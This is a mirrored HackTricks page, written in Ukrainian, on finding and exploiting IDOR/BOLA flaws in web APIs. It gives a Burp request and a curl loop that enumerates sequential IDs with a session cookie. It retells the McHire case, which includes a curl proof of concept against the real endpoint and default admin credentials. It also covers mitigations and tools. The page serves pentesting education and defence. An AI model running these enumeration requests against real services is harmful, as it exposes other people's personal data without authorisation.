mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
84 lines
6.9 KiB
Markdown
84 lines
6.9 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з'являється, коли веб-або API-інтерфейс розкриває або приймає ідентифікатор, контрольований користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, що викликач має право** отримати доступ/змінити цей об'єкт. Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад, читання або зміну даних інших користувачів і, в найгіршому випадку, повне захоплення облікового запису або масове витікання даних.
|
||
|
||
---
|
||
## 1. Визначення потенційних IDOR
|
||
|
||
1. Шукайте **параметри, які посилаються на об'єкт**:
|
||
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* Запит: `?id=42`, `?invoice=2024-00001`
|
||
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* Заголовки / Куки: `X-Client-ID: 4711`
|
||
2. Віддавайте перевагу кінцевим точкам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||
3. Зверніть увагу, коли ідентифікатори є **послідовними або передбачуваними** – якщо ваш ID `64185742`, то `64185741` ймовірно існує.
|
||
4. Досліджуйте приховані або альтернативні потоки (наприклад, *"Члени команди Paradox"* посилання на сторінках входу), які можуть розкрити додаткові API.
|
||
5. Використовуйте **автентифіковану сесію з низькими привілеями** і змініть лише ID **зберігаючи той же токен/куку**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
|
||
|
||
### Швидке ручне втручання (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### Автоматизована енумерація (Burp Intruder / цикл curl)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
## 2. Реальний випадок – Платформа чат-бота McHire (2025)
|
||
|
||
Під час оцінки порталу рекрутингу **McHire**, що працює на базі Paradox.ai, було виявлено наступний IDOR:
|
||
|
||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||
* Authorization: кукі сесії користувача для **будь-якого** тестового облікового запису ресторану
|
||
* Body parameter: `{"lead_id": N}` – 8-значний, **послідовний** числовий ідентифікатор
|
||
|
||
Зменшуючи `lead_id`, тестувальник отримав довільні дані про кандидатів **повні PII** (ім'я, електронна пошта, телефон, адреса, переваги зміни) плюс споживчий **JWT**, який дозволяв перехоплення сесії. Перерахунок діапазону `1 – 64,185,742` виявив приблизно **64 мільйони** записів.
|
||
|
||
Запит для підтвердження концепції:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
Об'єднано з **дефолтними адміністративними обліковими даними** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних на рівні компанії.
|
||
|
||
---
|
||
## 3. Вплив IDOR / BOLA
|
||
* Горизонтальна ескалація – читання/оновлення/видалення даних **інших користувачів**.
|
||
* Вертикальна ескалація – користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
|
||
* Масовий витік даних, якщо ідентифікатори є послідовними (наприклад, ID заявників, рахунки).
|
||
* Захоплення облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.
|
||
|
||
---
|
||
## 4. Заходи та найкращі практики
|
||
1. **Забезпечити авторизацію на рівні об'єкта** для кожного запиту (`user_id == session.user`).
|
||
2. Віддавати перевагу **непрямим, непередбачуваним ідентифікаторам** (UUIDv4, ULID) замість автоінкрементних ID.
|
||
3. Виконувати авторизацію **на стороні сервера**, ніколи не покладатися на приховані поля форм або елементи управління UI.
|
||
4. Реалізувати перевірки **RBAC / ABAC** в центральному проміжному програмному забезпеченні.
|
||
5. Додати **обмеження швидкості та ведення журналів** для виявлення перерахування ID.
|
||
6. Тестувати безпеку кожної нової кінцевої точки (модульне, інтеграційне та DAST).
|
||
|
||
---
|
||
## 5. Інструменти
|
||
* **Розширення BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||
* **Проекти на Github**: `bwapp-idor-scanner`, `Blindy` (масове полювання на IDOR).
|
||
|
||
## Посилання
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
{{#include ../banners/hacktricks-training.md}}
|